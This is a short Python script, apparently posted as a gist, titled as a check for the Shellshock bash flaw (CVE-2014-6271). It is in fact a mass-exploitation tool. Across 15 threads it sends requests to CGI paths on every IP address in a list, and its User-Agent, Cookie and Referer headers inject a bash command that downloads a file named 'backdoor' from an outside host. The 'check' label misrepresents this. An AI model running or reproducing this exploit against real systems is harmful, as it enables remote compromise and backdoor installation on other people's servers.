CVE-2014-6271 check

gistfile1.txt

#!/usr/bin/env python
__author__      = "VY_CMa"
__copyright__   = "Copyright 2014"

import Queue, threading, urllib2, requests

l = file("res.txt", "r")
ips = l.read().split("\n")

q = Queue.Queue()
for url in ips:
    q.put(url)

#define a worker function
def worker(queue):
    queue_full = True
    paths = ["/cgi-mod/index.cgi","/cgi-bin/login.cgi","/cgi-bin/climatenormals/climatenormals.pl","/cgi-bin/jrnlst/jloptions.cgi"]
    while queue_full:
        for path in paths:
            try:
                url= queue.get(False)
                headers = {'User-Agent' : '() { :;}; /bin/bash -c "wget http://xxx.ru/backdoor"',
                           'Cookie' : '() { :;}; /bin/bash -c "wget http://xxx.ru/backdoor"',
                           'Referer' : '() { :;}; /bin/bash -c "wget http://xxx.ru/backdoor"'
                           }
                lnk = "http://" + str(url.strip()) + str(path)
                try:
                    data = requests.get(lnk, headers=headers)
                    print str(lnk)
                except :
                    print "err"

            except Queue.Empty:
                queue_full = False
thread_count = 15
for i in range(thread_count):
    t = threading.Thread(target=worker, args = (q,))
    t.start()
    
'''
cat res.txt
10.10.10.1
10.10.10.2
...
10.10.10.255
'''